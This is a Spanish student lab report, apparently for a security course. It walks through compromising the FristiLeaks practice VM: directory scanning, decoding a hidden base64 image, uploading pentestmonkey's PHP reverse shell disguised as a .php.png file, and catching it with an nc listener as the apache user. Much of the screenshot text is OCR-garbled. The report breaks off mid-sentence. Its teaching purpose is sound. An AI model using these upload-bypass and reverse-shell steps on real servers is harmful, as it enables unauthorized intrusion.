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INTRODUCCION

La seguridad informatica es uno de los pilares fundamentales en el desarrollo y
administracion de sistemas, dado que la creciente interconexion digital expone
constantemente a organizaciones e individuos a multiples amenazas cibernéticas.
En este contexto, el laboratorio realizado con Kali Linux y la méaquina virtual
FristiLeaks se convierte en una practica esencial para comprender cOmo se
identifican, explotan y mitigan vulnerabilidades en entornos controlados. A través de
la simulacion de ataques, como el escaneo de directorios, la decodificacion de
informacion oculta y la explotaciéon de formularios de subida de archivos, se puede
evidenciar la importancia de fortalecer la infraestructura tecnoldgica frente a
ciberataques. Este trabajo no solo permite afianzar conocimientos técnicos en
auditoria de redes y seguridad informatica, sino que también resalta el papel critico
de la ética profesional en el manejo de dichas herramientas.



OBJETIVOS

e Objetivo general:

Analizar y aplicar técnicas de auditoria de seguridad mediante la explotacion de
vulnerabilidades en la maquina virtual FristiLeaks utilizando Kali Linux.

e Objetivos especificos:

Configurar adecuadamente el entorno virtual con VirtualBox y establecer la
conectividad de red necesaria para la practica.

Identificar directorios, rutas ocultas y posibles fallos de seguridad a través de
escaneos de fuerza bruta y andlisis de archivos.

Ejecutar pruebas de subida de archivos maliciosos con el fin de obtener acceso al
servidor victima.

Evaluar los resultados de la intrusion, validando el impacto que tendria una
vulnerabilidad de este tipo en un entorno real.

Reflexionar sobre las medidas de prevencién y buenas practicas que deberian
implementarse para mitigar los riesgos detectados.
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1. EXPLOTACION DE VULNERABILIDADES EN FRISTILEAKS
MEDIANTE KALI LINUX
Para este laboratorio necesitaba el sistema operativo fristileaks y lo pude conseguir
en el saldn de clases gracias a que lo suministro el docente quien es nuestro tutor
en lo que respecta de la asignatura, ya que contamos con el virtualbox instalado lo
siguiente es ejecutar el archivo .ova (ejecutable), con el virtualbox que es como yo

lo ejecuto inicialmente.

FristiLeaks_1.3 X+

[J > Descargas > isosyherramientas > FristiLeaks 1.3 >

T Ordenar = Ver

| Galenia
@ LUIS JADER - Personal

hace mucho tiempo
W FristiLeaks_1.3.0va

@ LUIS JADER, UNIVERSIDAD TECNOLOGICA DEL CHC ws Lampiao.zip

b Descargas
1A Imigenes

B Redmi 14C
[ Este equipo
14¢

= Unidad de CD (E)
= MECANICO (F)
38 Red

O Nombre Fecha de modificacién

17p.m.

Buscar en FristiLeaks_1.3 =

Open Virtualizatic...

Carpeta comprimi..

llustracion 1 archivo ejecutable fristileaks

Nos resulta mucho mas facil montar estas maquinas cuando les indicamos como

queremos que se ejecute.

U5 VirtualBox Manager
B EBuscar en Microsoft Store

Elegir otra aplicacién

llustracion 2 primer paso para la ejecucion

Luego de iniciar a ejecutar la instalacion en nuestra maquina virtual nos aparecera
una ventana que la podemos llamar el comando de instalacion inicial donde le
vamos a dar algunos ajustes a nuestro sistema en la maquina virtual, también



podriamos cambiar la ubicacién del archivo desde donde se tomara el archivo raiz
para la instalacion.

V3 Oracle VirtualBox Administrador — O
.
o B P W
%EEP Herramientas {:} ~
Mueva Afadir Configuracion Descartar  Iniciar
.+ MV Hacking @ General @ Previsualizacion
Sistema
Metasploitable2 .
@ Apagada Memoria base: 5188MB
rag Orden de arranque:  Disquete, Optica, Disco duro
Aceleracién: Paginacidn anidada, PAE/NX
xEalY wifislax-4-10-1
il O 2
[ pagada
kali
L ™) Pantalla
T3 Importar servicio virtualizada = O X

Fuente: Sistema de archivos local e di (Nermal, 8,00 GE)

Archivo: herramientashFristiLeaks_1.3\FristiLeaks_1 .3.c-va| @

xRed NaTl»)

Ayuda Anterior Cancelar

llustracion 3 administrador de instalacion.



Este vendria siendo el administrador de configuracion que se puede ver luego de la
instalacion luego de que ya el sistema esté en la maquina virtual central.

Aqui podriamos hacer parte de las configuraciones que hicimos a la hora de instalar
como quien dice modificar la mayoria de sus configuraciones, como el nombre, darle
bidireccionalidad para poder interactuar mas facil entre las diferentes maquinas!

General

i

Sistema

Pantalla

Almacenamiento

Audio

Red

Puertos serie

USB

Carpetas compartidas

Interfaz de usuario

ADSY B @ E

General

Basico Avanzado Descripcion Cifrado de disco

Mombre: FristiLeaks 1

- a

Search settings £

Tipor  Linux

Sistema

Placa base Procesador Aceleracion

Memaria base

Orden de arranque: | @ Disquete
@ © Optica

llustracion 4 panel de configuracion

()

Aceptar Cancelar Ayuda

—

Otra de las configuraciones que podemos hacer es la direccion MAC: esta vez
utilizamos una direccion estética para este sistema y corresponde a la direccion
080027A5A676 como lo podemos apreciar el anexo.

Direccign MAC: 020027ASAETE

©

B Cable conectado

llustracion 5 configuracion MAC.



Estas son las maquinas o parte de las cuales estamos utilizando o vamos a utilizar
en todo el desarrollo de esta asignatura y coOmo podemos ver ya existe nuestra
maquina virtual FristiLeaks, que en esta oportunidad jugara un papel como
maquina victima.

15 Oracle VirtualBox Administradar — ] *
Archive Magquina Ayuda
M B
(1) Co <:I E) |:(< >
fj%t'] Herramientas g'hw-é '\fl.r*E h
Mueva Afadir Configuracion Descartar  Iniciar
s MV Hacking @ General @ Previsualizacién
Sistema
Metasploitable2
@ Apagada IE] Eantaa
Almacenamiento
f;‘—"h wifislax-4-10-1 Controlador: IDE
[ @ Apagada Dispositive IDE secundanio 0 [Unidad dptica] Vacio
Controlador: SATA
= kali Puerto SATA 0: FristiLeaks 1.3-
f . disk2.vdi (Normal,
£ Corriendo 3,00 GB)
W_8.1_x86 (n Audio
Sﬁ‘ @ Guardada Controlador de anfitrién:  'Windows DirectSound
Controlador: ICH AC97
i3d | server2003 Red
3 ¢ L
(D) Apagada
Adaptador 1 Intel PRO/1000 MT Desktop (Red MAT, «Red MaT1=)
BofL| Windows 7 £ use
‘?' Q@ Apagada Controlador USB: OHCI
Filtros de dispositives: 0 (0 active)
Metasploitable3-ub1404 [[] Carpetas compartidas
0
@ Apagada Ninguno
: = -
E‘!‘ metasploitable3-workspa... © Descripcion
(T @ Apagada Minguno
Fristil eaks 1 =
- @Guardada (=
E. WINDOWS XP
‘-ﬁ (D) Apagada




Esta es la configuracién de la red Nat. La cual esta creada y configurada en nuestro
virtualbox para posteriormente ser configurada en cada una de las maquinas
virtuales si asi lo requiere la temética del docente.

B Genera Red
~ Adaptader 1 Adaptador 2 Adaptador 3 Adsptador 4
Sistema
' Habilitar adaptador de red
Pantalla
! Conectade & Red MAT
E&'J Almacenamiento Membre: RED-SEMESTRED-2025

Tapar de adaptadarn:
Mada prarmmsdud:

Direccien MAC:

Intel PROY 1000 MT Desktop (3.2 540EM)
Denegar
DE002 TCEACHY

. Cable conectado

llustracion 6 Configuracion Red Nat en fristileaks.

La principal configuracion para la red Nat nace aqui en esta interfaz donde se coloca
la direcciéon Ip central o puerta de enlace que en este caso vendria siendo
192.168.100.0/24 con mascara 24.

V5 Oracle VirtualBox Administrador
Archive  Maquina  Red Ayuda

] neramienes £ 98 T
Crear | Eliminar  Propiedades
./ MV Hacking Redes solo-anfitrion  RedesNAT  Redes en la nube
Metasploitable2 Nombre Prefijo IPvd  Prefijo IPve Servidor DHCP
@ apagada Red NaTl 192.168.100.0/24 fd17:625c1037:a864:/64 Habilitado
Bey) wifistox-4-10-1
- O
S pagada
B i
f £ Corriendo

B ] W_8.1x86
RS (B Guercads

By server2003
(L © Apagads

B ] Windows 7
© Apagads

Ef Metasploitable3-ub1404

@ apsgads
g i
BT © Apagada

Opciones generales

: win2k8_17 31690

Nombre: Red NaT!

Prefijo IPv4:  192.168.100.0/24

B Fristileaks 1
b [ Guardada

&4 | WINDOWS XP

o
f (1 Guardada

18 Habilitar DHCP
() Habilitar IPv6
Prefijo IPvé: fd17:625¢:037:864:/64
Anunciar ruta por defecto IPv6

Aplicar Restaurar

llustracion 7 Creacion de la red Nat en virtualbox.



Antes de iniciar a hacer ataques lo primero que hacemos es saber la direccién que
estaba rentando la maquina victima, debido a que siempre debemos tener algo para
poder iniciar en este casa la direccion es la 192.168.100.15.

=]

Fristileaks 1.3 vulnerable UM by ArBxA.
Goal: get root (uid B) and read the flag file

hanks to dgi and barrebas for testing!?

IP address:192.168.188.15
localhost login:

#Qro.cCcesBAEEB30 v EJIH ~0ae

Esee & 831p.m o
Wy @) 11/09/2025 =

llustracion 8 interfaz inicial fristileaks



Cuando iniciamos el laboratorio lo segundo que hicimos fue un escaneo de fuerza
bruta con el comando dirb http://192.168.100.15 con la direccién de la maquina
victima para ver que directorios o directorios que no estén enlazados en la pagina
principal.

HEEEmPoFr| 2 3 4 | g oo agT|a e

luis@kali: ~

Archivo Acciones Editar Vista Ayuda

DIRB v2.22
By The Dark Raver

START_TIME: Wed Sep 10 01:16:29 2025
URL_BASE: http://192.168.100.15/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

Scanning URL: http://192.168.100.15/ ——
+ http://192.168.100.15/cgi-bin/ (CODE:403|SIZE:210)
=> DIRECTORY: http://192.168.100.15/images/
+ http://192.168.100.15/index.html (CODE:200|SIZE:703)
+ http://192.168.100.15/robots.txt (CODE:200|SIZE:62)

—— Entering directory: http://192.168.100.15/images/ ——

(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

END_TIME: Wed Sep 10 ©1:17:26 2025
DOWNLOADED: 4612 - FOUND: 3

~

llustracion 9 escaneo de fuerza bruta.


http://192.168.100.15/

Se utiliza este comando http://192.168.100.15/images/ para mostrar el contenido de
este sitio en el servidor debe existir alguna informacion que nos sirva como pie para
iniciar y atacar los puntos de entrada.

Vemos que el servidor web tiene habilitado el listado de directorios en otras palabras
podriamos decir que no seria tan necesario utilizar fuerza bruta

ﬁ . B n L‘Evl 1 g — / | Ll ML O 9 A . 123

B | 192.168.100.15/ X http:/192.168.100.15/ * + o

C @ £} view-source:http://192.168.100.15/ ¥ @

OffSec Kali Linux §& KaliTools <« KaliDocs & Kali Forums & Kali NetHunter Exploit-DB

1
47
_EI

#fristileaks</a> motto:</

llustracion 10 buscar Listado de directorios


http://192.168.100.15/images/

Aqui se muestran los diccionarios disponibles estos son los diccionarios que se
pueden usar en las explotaciones mas avanzadas.

Y procedemos a cambiar de directorio hacia la carpeta donde se encuentran los
diccionarios con el comando /usr/share/dirb/wordlists/

ERmROF| 2

luis@kali: fusr/share/dirb/weordlists

Archivo Acciones Editar Vista Ayuda

—— Entering directory: htt 2.168.100.15/images/ ——
(!) WARNING: ELE. No nee
(Use mode if y vant to scan it any

END_TIME: |
DOWNLOADED:

/fusr/share/dirb/wordlists/

/usr/share/dirb/wordlists

ot root

ot root

ot root

ot root

ot root
t root

ot root

ot root

ot root

ot root y

ot root 34 small.txt
t root ov spanish.txt

ot root

ot root 49 age 4 14154

/usr/share/dirb/wordlists

llustracion 11 lista de diccionarios

Escaneamos la URL que rento nuestra maquina victima para usar el diccionario
small.txt que contiene cerca de 1000 palabras por tanto es ligero y menos pesado



para hacer un escaneo rapido. El directorio cgi-bin suele usarse para scripts
ejecutables, 6sea que podrian haber vulnerabilidades

’Q‘ “m P “‘E"! 1 j o . O DA g3|ac

luis@kali: fusr/share/dirb/wordlists

Archivo Acciones Editar Vista Ayuda

/usr/share/dirb/wordlists
http://192.168.100.15/ /usr/share/dirb/wordlists/small.txt

DIRB v2.22
By The Dark Raver

START_TIME: Wed Sep 10 ©01:31:27 2025
URL_BASE: http://192.168.100.15/
WORDLIST_FILES: /usr/share/dirb/wordlists/small.txt

GENERATED WORDS: 959

Scanning URL: http://192.168.100.15/ —
+ http://192.168.100.15/cgi-bin/ (CODE:403|SIZE:210)
—> DIRECTORY: http://192.168.100.15/images/

—— Entering directory: http://192.168.100.15/images/ ——
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

END_TIME: Wed Sep 10 ©1:31:38 2025
DOWNLOADED: 959 - FOUND: 1

/usr/share/dirb/wordlists

llustracion 12 Escaneo de directorios



Podemos apreciar que el administrador no protegio estas rutas, o que nos permite
tener mas facilidad de tener pistas positivas ya que robots.txt revelo rutas sensibles
enesta ocacion.

im PO 2 3 ! o ® a8 gi3¢|a e

192.168.100.15/ X http:, 8.100. < 192.168.100.15/robots X  + v

C @ O 2 192.168.100.15/robots.txt 150% Ty ® ® &1 =

OffSec Kali Linux KaliTools « KaliDocs & Kali Forums e Kali NetHunter Exploit-DB

User-agent: *

Disallow: /cola
Disallow: /sisi
Disallow: /beer

llustracion 13 buscador de rutas robots.txt



Esto es la pagina fristi de la arrojada con la direccion ip base de Fristileaks, y
muestra un portal de administracion con formulario de login, Un portal asi es un
objetivo clasico en auditoria ya que puede contener credenciales por defecto,
vulnerabilidades de inyeccion SQL, fallos de autenticacion, gestion pobre de
sesiones, o formularios que permiten subir y ejecutar archivos.

S EmP o] t D H A g 140 | & C

5 | 192.168.100.15/ http://192.168. 192.168.100.15 192.168.100.15 X  + v

&« C @ O A& 192.168.100.15/frist 60% @ =

OffSec Kali Linux # KaliTools « KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB

Welcome to #fristileaks admin portal

Member Login

Username : |

Password : |

[Togm)

llustracion 14 Esto es la pagina fristi



El servidor rechazo las credenciales debido a un fallo que se me presento con la red
en la maquina atacante kali Linux. Lo que género que el backend procesara y
respondiera con el mensaje de este fallo de autenticacion

=P o] g . | D <« A g 146

92.168.100.15/ http:// 68.1 92.168.100.15/ 192.168.100.15 = + =

O & 192.168.100.15 60% 7 ¥ @®

OffSec Kali Linux #& Kali Tools = KaliDocs M Kali Forums & Kali NetHunter Exploit-DB

Wrong Username or Password

llustracion 15 fallo de auntenticacion

En el view-source aparece un <img src="data:image/png;base64">.
Eso significa que la imagen esta embebida en el HTML como Base64, no cargada
desde /imagesl/.

Ya que este autor dejo antas pistas al parecer intencionalmente pensamos que
pueden haber muchas mas credenciales, comentarios e inputs ocultos o que la
misma imagen puede contener informacion oculta.

e MY Hr O 4 M | 153

http://192.1 < ~
p://192.168.100. risti/ o ®

OffSec = Kali Docs & Kali Forums X Kali NetHunter Exploit-DB

1 = =

llustracion 16 imagen oculta en HTML parte 1



Podemos extraer la imagen embebida en el HTML y ver qué informacién oculta
contiene, ademas de confirmar la accién del formulario.

I

htp://

source:http://192.168.100.15/fristi/

« Kali % Kali Forums e\ Kali NetHunter

=Member Login

llustracion 17 imagen oculta en HTML parte2



La conversion del comentario que habiamos llevado al descifrar en base64 nos
arrojo otro codigo en binario que nos llevaria a una imagen png.

f© B4 Based Decodificary Codificar X +

C [ % basebddecodeorg S In] (1)

ii Aplicaciones 59 [ Todos los marcadores

0Wa]n’wz\EdZ\rerzBElJthbllFSyogVSzZiXDNmS4an\+kLan|zX'I'thOhEk502k5pGy(man

fOSIVSKC5Zva+XH36vQ: MyRaLLp+Bbhy31kBSBbjapUNSHVjHXJmC2Fg .
N} y PW1mulDLUGSpdE: YTVHXJmC21HIMVBBTIZbEWS Lol
300Z0jk3y +pQIINEGANOCOIUNY ) OUNISWhBUMyR5ZT2B +iwDh+-+F1 .

URL Codificar
3K/U+z2uF, Ui JI606+ecHEdvOUu4PnkgDI2rGuiS8HK
uI9IMFFGYgqa/VTB8qORLUSTGFTfYUTtgsn/4 i TilsLLhIF DU12q % Sitios asaciados

mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ +5IRW10XNB3Z/VBMWulSfYIm+hDLkclAtuHEUZu/191867X34
rPtABIMLI0ZrgX6gu37alukRkVaylRfgpk+IHNkHE5hNecTKC4P31Vebhd8fy/VzOTCkqeBWinFhe
EPdMjO3SSys7TXVF+qmT5UcmT9+Ss/fyyOLU3kWoGLd597Kb6Us 101IZMAP5b5AgAL 3IEgBC5ASCLH
AHgRY4ASCJHAHIRIwC 8yBEAXuQIACIyBIAXOQLAixwB4EWOAPAIRWBAKSMAVMgRAFTKCAAvcgSAFzk
CwlscAeBFjgDwlkcAe JEJALZIEQBe5AgAL 3IEgBc5ASCLHAHGRY4ABPN/QNaTzik1qtycQAAAABIR
UsErkJggg==
etc.) utilice el formulario de carga de archivos que encontrard un poco més abajo en

@ Para binarios (como imagenes,

esta pagina.

UTF-8

~  Conjunto de caracteres de origen.

Decodfique cada linea por separado (util cuando tiene varias entradas).

@ Modo en directo DESACTIVADO

Decodifica en tiempo real mientras escribe o pega (sélo admite el juego de caracteres UTF-8)

Eql o ={elels] [T 3 Decodifica sus datos en la zona de abaio.

PNG

900

HDRQQIM@G-HKIT990IAPOOTSRGEGIOVOTIAMAGSTO99  PHYS@OTS90T0d9@IRIDATX QY Daszl
&I%KH@M&SVIS"EII:II:IEEI"GEIX#EII:II:I":EIIrEII:ISI:I:EIE:"GEIX#:EII:I"EII:I/II:II:IHI:IEI:EI:I"G:X#EID:"DDF:&Tﬂh#JDJDD~’:DZ~QZe
L0ZZOUWSoy[K}POID{EXKKL>a%ZD5B500: 40VKKL>eOKZtn

“9%&RxgIV3}gpzORZb  JJHSD(TI5seCiXq" Tk6{T Ig=YxibbejsH-YuHSXDT(TME
FnT3WHaiDOTMIE00D30MIHSTZI3GY dMOo6TraRL/-05MLiSHYD DY

ConTtWIGfTho}d [T5INus-HYD.C-GRKj\g) <g.Nus-OVI_uZ#|0_AXKGEdHI<a7

9C})P40pOODIOISCZhKGIDB#0™ {ORDJjS0#+ 0o’ L0*90I 0 >UEE 3i5dU#3 0jn ) 0'2UqF>L Z00[Z040LZRID 0S;|0f -DhFEZT
_>sd0ab0(.0UMD|0/0ZZ00=#T_>Trd+?87j0-}dRt#0[00/r009000ED"GOx#0 00000090 00ED GOx#000A00/
L P PP

Privacidad

llustracién 18 decodificador base64

Tras llevar a cabo la conversion, obtuve una imagen PNG que mostraba la
inscripcion "keKkeKKeKKEKKEK". Si bien a primera impresion parecia un enredo,
dentro del contexto del reto lo interpreté como un indicio o codigo que tal vez me
serviria mas adelante para tratar de acceder al panel de gestion que habia hallado
con anterioridad.

[ | # LUIS JADER CUESTAMOYA - © X | [0} LABORATORIO_ATAQUEAFF X | %% Microsoft Copilot en Edge |1 % | [@) LABORATORIO ATAQUE A FRI X Convertir BaseG4 a PNG - Cre X - o >
“ S @ @ hepsioni convert-basesd 9 as M vy = oy -
= &) Academia 3.1 @R Correci LUIS JADER... () Instagram [E) Apuntes de Ciscos €. ™ Gmail I Microsoft Forms @8 YouTube P Calculadora de ecua... &) SIAC Sistema Integr... > ) Otros favoritos
base&4-encoded image in the editor on the left and you will instantly get PNG graphics on the right. -
Free, quick, and very powerful. Import base64 — get a PNG. Created with love by team Browserling. .
[ See Examples 1 [ Learn How 1o Use ] see Pricing and Plans
Base de entrada64 ® PNG de salida

veULaPnkqD1ZrGu

TI1sLLhiPbheKn

keKkekKKekKKeKkEkkEkK

CwIscAeBF jgDwTkcAedEJALZTEQReSARAL 3TERBC 5ASCLHAHERYAABPNS/QHa7z Lk1qty cQ
AAAABIR
USErkIggg=-|

Importar desde Copiar en el
; Guardar como...
archivo portapapeles

Copiar en el

Cadena con... Guardar como...
portapapeles

)

o W W

et |s a Baseé4 to PNG Converter?

y nuevas funciones!

hram converts previouslv base64-encoded PNG pictures back to actual PNG pictures that

llustracion 19 convertidor de base64 a png



Se accedi6 al formulario de carga de imagenes, Este formulario permite seleccionar
y subir un archivo al servidor mediante el boton "Upload image". Si el servidor no
restringe adecuadamente los tipos de archivos, es posible subir scripts ejecutables
como .php.

Si los archivos subidos se almacenan en una carpeta accesible y ejecutable
/uploads/, se podria ejecutar codigo remoto.

Si el archivo mantiene su nombre original, puede predecirse o abusarse.

192.168.100.15/fristif %  http://192.168.100.

Kali Linux #& KaliTools = KaliDocs % KaliForums e Kali NetHunter Exploit-DB Google Hacking DB

llustracion 20 vulnerabilidad subida de archivos.

Aqui pude crear los ficheros dafinos. Mi objetivo era explotar la funcionalidad de
subida de archivos que habia detectado en el sistema. Para lograr esto, me dirigi a
la ubicacion /usr/share/webshells/php en Kali Linux, donde se almacenan diversos

ejemplos de webshells listos para usar.
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root@kali: /home/luis/Escritorio
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root@kali: fusr/share/webshells/jphp B  root@kali: fhome/luis/Escritorio ¥ luis@kali: ~ 8

/usr/share/webshells

/usr/share/webshells

/usr/share/webshells/php
php-backdoor.php php-rever: shell.php gsd-php-backdoor.php simple-backdoor.php

/usr/share/webshells/php
php-reverse-shell.php /home/luis/Escritorio

/usr/share/webshells/php
php-backdoor.php php-reverse-shell.php qsd-php-backdoor.php simple-backdoor.php

/usr/share/webshells/php
/home/luis/Escritorio

/home/luis/Escritorio
php-reverse-shell.php

/home/luis/Escritorio
php-reverse-shell.php Jader.php

/home/luis/Escritorio
Jader.php php-reverse-shell.php

/home/luis/Escritorio

llustraciéon 211 Creacién de archivos maliciosos



Dentro de dicho directorio, di con el archivo php-reverse-shell. php, un script
disefiado para originar una conexion inversa entre el equipo comprometido y mi
propio sistema atacante. A continuacion, trasladé este archivo a mi escritorio y lo
renombré como Jader.php, con el fin de personalizarlo y, de esta manera, minimizar
la posibilidad de alertar al sistema al cargarlo al servidor.

NeomP o1 2 3 4| iy (] = OO a 643 | @ G
F root@kali: /home/luis/Escritorio
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root@kali: fhome/luis/Escritorio ¥ root@Kkali: /home/luis/Escritorio B luis@kali: ~ B

Jader.php luis.png php-reverse-shell.php

/home/luis/Escritorio
luis.png luis.php.png

/home/luis/Escritorio
Jader.php Tluis.php.png php-reverse-shell.php

/home/luis/Escritorio
luis.php.png

/home/luis/Escritorio
Jader.php Tluis.php.png php-reverse-shell.php

/home/luis/Escritorio
Jader.php luis.php.png php-reverse-shell.php

/home/luis/Escritorio
Jader.php

/home/luis/Escritorio

listening on [any] 1234 ...

llustracion 222 Creacion de archivos maliciosos parte2

Se observa claramente el contenido del archivo Jader.php.png, que se esta
editando en Kali Linux utilizando el editor nano.
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GNU nano 8.4 Jader.php.png
<?php
php-reverse-shell - A Reverse Shell implementation in PHP
Copyright (C) 2007 pentestmonkeygpentestmonkey.net

This tool may be used for legal purposes only. Users take full responsibility
for any actions performed using this tool. The author accepts no liability

for damage caused by this tool. If these terms are not acceptable to you, then
do not use this tool.

In all other respects the GPL version 2 applies:

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License version 2 as
published by the Free Software Foundation.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

[ 192 lineas leidas |
Ayuda [ Guardar il Buscar WY Cortar Wl Ejecutar [@ Ubicacion U Deshacer
B Salir [ Leer fich. @ Reemplazar |fl| Pegar B Justificar g Ir a linea ] Rehacer

llustracion 23 Editor nano partel
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root@kali: fhome/luis/Escritorio
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GNU nano 8.4 Jader.php.png #*
fclose($sock);
fclose($pipes[o]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n”;
}

e Ayuda W Guardar B Buscar WE Cortar Bij Ejecutar M8 Ubicacién [N Deshacer
By salir Wi Leer fich. @Y Reemplazar gl Pegar B Justificar @ Ir a linea [Jd Rehacer

llustracion 24 Editor nano parte2.

Proceso de subir un archivo al formulario de upload.php vemos como se esta
eligiendo entre varios archivos desde mi escritorio en mi maquina virtual Kali Linux.
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< C @ O A 19216810015

-

File Upload
OffSec KaliLinux # KaliTools <«

Recientes 4« fluis i Escritorio
Select image to upload:

(Browse...) No file selected [Upload Image|

» 0

Carpeta personal Nombre Tipo Modificado
Escritorio UTCH3 jue

@ jader.png Programa jue

& Jader.php.png Programa 16:42

© Jader.php.save Programa jue

Descargas
Documentos
Imagenes @ php-reverse-shell.php Programa jue
Musica

Videos

+ ® o O wi« 1

Otras ubicaciones

AllFiles v

@ Cancelar [ Abrir

llustracion 25 Cargar archivo malisioso.

La URL solicitada /fristi/luploads/Luis.php.png no se encontré en este servidor.

El navegador estd buscando un archivo llamado Luis.php.png en el directorio
[fristi/uploads/, pero el servidor responde con un No lo que indica que el archivo no
existe 0 no esta en esa ruta o se encontré en el servidor.

I O H A 1640 | @ C

Index of images X 3037440.jpg (JPEC X [ 404 noenconl Equipo
39% - 15 minutos hasta completar
100.15 e 190% T

OffSec Kali Linux # KaliTools = Kali M Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

No encontrado

La URL solicitada /fristi/uploads/Luis.php.png no se encontré en este servidor.

llustracion 26 Luis.php.png no se encontro



Finalmente pude concretar el establecimiento de la conexion inversa con el sistema
objetivo. Inicialmente, en mi maquina Kali, inicié la escucha con el comando "nc -lvp
1234", lo que significaba que estaria esperando conexiones entrantes en el puerto
1234. Luego, una vez que prepare y subi el archivo "Jader.php”, al ejecutarse en el
servidor, este generd la shell inversa hacia mi equipo.

En la parte baja de la terminal se observa que la conexién se realizdé con éxito,
mostrando datos del sistema de la maquina victima (un sistema Linux, kernel 3.2.0,
arquitectura x86_64) e indicando que la sesion se abrié bajo el usuario apache, lo
cual valida que obtuve control inicial con privilegios acotados.

Una vez obtenido el acceso, ejecuté algunos comandos basicos como "whoami" y
envié un ping a mi propia direccion (192.168.100.15) para verificar la comunicacion,
y todo funcion6 correctamente.

Este fue un avance clave en la explotacion, ya que a partir de ese instante contaba
con acceso remoto al servidor, lo que me posibilitaria continuar con la escalada de
privilegios y obtener un control mas amplio del sistema.

S omPor0|1 2 3 4| O D a 74| & &
F root@kali: /home/luis/Escritorio
Archivo Acciones Editar Vista Ayuda
root@kali: fhome/luis/Escritorio ¥ luis@kali: ~
php-backdoor.php php-reverse-shell.php qsd-php-backdoor.php simple-backdoor.php

/usr/share/webshells/php
/home/luis/Escritorio

/home/luis/Escritorio
php-reverse-shell.php

/home/luis/Escritorio
php-reverse-shell.php Jader.php

/home/luis/Escritorio
Jader.php php-reverse-shell.php
/home/luis/Escritorio
nknown host

connect to [1 ( 68.100.15] 33
Linux localho .6.32 : 86_64 #1 SMP Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

18:06:04 up , load average: 0.00, 0.00, 0.00
LOGING IDLE JCPU  PCPU WHAT
pache) groups=48(apac

time=0.245 ms
time=0.085 ms
time=0.078 ms

llustracion 27 Explotacién maliciosa en ejecucién

Durante esta parte del proceso, noté que habia conseguido comunicarme con el
dispositivo elegido mediante un puerto especifico (1234). Después de establecer
esta comunicacion, la interfaz me muestra informacion del sistema afectado, tal
como el nombre del servidor, la version del ndcleo y los usuarios actualmente
activos.

Una vez dentro, consegui acceso a una consola interactiva, lo cual me facilité la
tarea de empezar a introducir instrucciones directamente en el sistema. Por ejemplo,
usé la instruccion Is -la para visualizar los directorios y ficheros principales de la
maquina. En ese momento se aprecia la estructura comun de un sistema Linux, con



carpetas como /boot, /etc, /home, /lib y otras que ratifican que tengo acceso al
entorno interno del dispositivo en peligro.

Esta accion sefiala que la debilidad fue explotada de forma exitosa, ya que pasé de
intentar una comunicacion a obtener acceso remoto al sistema y a tener la
capacidad de interactuar con sus ficheros.
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root@kali: fhome/luis/Escritorio ¥ luis@kali: ~ B
= :

erse host lookup nknown host
2.168.100.15] 33128
86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
’ e: 0.00, 0.00, 0.00
FROM 0] IDLE Jjceu PCPU WHAT
apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.1% 1s -la
1s -la

22 root root 4096 Sep 10 17:16 .
22 root root 4096 Sep 10
1 root root 0 Sep 10

1 root root 9 Nov 17
7

2 root root 4096 Nov
5 root root 1024 Nov
19 root root 3640 Sep 1@
. 70 root root 4096 Sep 10 116 etc
5 root root 4096 Nov 19 2015 home
8 root root 4096 Nov 17 2
9 root root 12288 Nov 17 2
root root 16384 Nov 17 2
root 4096 Sep
3 t root 4096 Nov
3 root root
106 root root
3 root root
2 root root 122
2 root root
2 root root
13 root root
3 root root 4096 S
13 root root
-X. 19 root root 4096 Nov 19 2015 var

En esta etapa del procedimiento, observé que pude interactuar con el equipo
deseado a través de un puerto determinado (1234). Una vez establecida la
conexion, la consola me mostré detalles del sistema comprometido, tales como el
nombre del servidor, la version del kernel y los usuarios en linea.

Una vez dentro, consegui acceso a una linea de comandos interactiva, lo cual me
brindé la opcion de empezar a ejecutar 6rdenes directamente en el equipo remoto.
A modo de ejemplo, utilicé el comando Is -la para ver los directorios y archivos
principales del ordenador. Alli se aprecia la estructura tipica de un sistema Linux,
con carpetas como /boot, /etc, /home, /lib y otras que indican que tengo acceso al
entorno interno del equipo victima.

Esta fase demuestra que la vulnerabilidad fue explotada de forma exitosa, ya que
pasé de intentar establecer una conexion a tener acceso remoto al sistema y la
capacidad de interactuar con sus archivos.
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root@kali: fhome/luis/Escritorio ¥ luis@kali: ~ M
sh-4.1$

sh-4.1%

sh-4.1$ "z
zsh: suspended nc -lvp 1234

/home/luis/Escritorio
ram
stty: argumento invalido ‘ram’
Pruebe 'stty —help' para mas informacion
+ continued nc -lvp 1234

lost+found
media
mnt

opt
proc
root
sbin
selinux
srv

sys

tmp

usr

var
sh-4.1% I

Dentro del analisis del sistema comprometido, decidi enfocarme en el directorio
Ivar/www, un lugar habitual para los archivos del servidor web. Al usar el comando
Is -la, vi varias carpetas comunes en un servidor, como cgi-bin, html, error e icons,
gue suelen guardar scripts, paginas y ajustes del sitio. Ademas, encontré un archivo
llamado notes. txt, algo importante porque estos archivos a veces tienen datos
valiosos, como notas, configuraciones o hasta contrasefias que podrian ayudar a
obtener mas permisos. Este hallazgo muestra que no solo tengo acceso completo

al sistema operativo, sino que también puedo explorar directamente los archivos del
servidor web.

B EamPor-|1 2 3 4| LDJ ¥ 734 | @ e
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ror
r 9 html
. 3 root root 4096 Nov 17 2015 icons
r— 1 root root 98 Nov 17 2015 notes.txt
-1$ cd html
tml
.1$

sh-4.1%

sh-4.1% 1s

sisi
sh-4.1% I




En directorio /var/www/html, que es donde suelen residir los archivos esenciales de
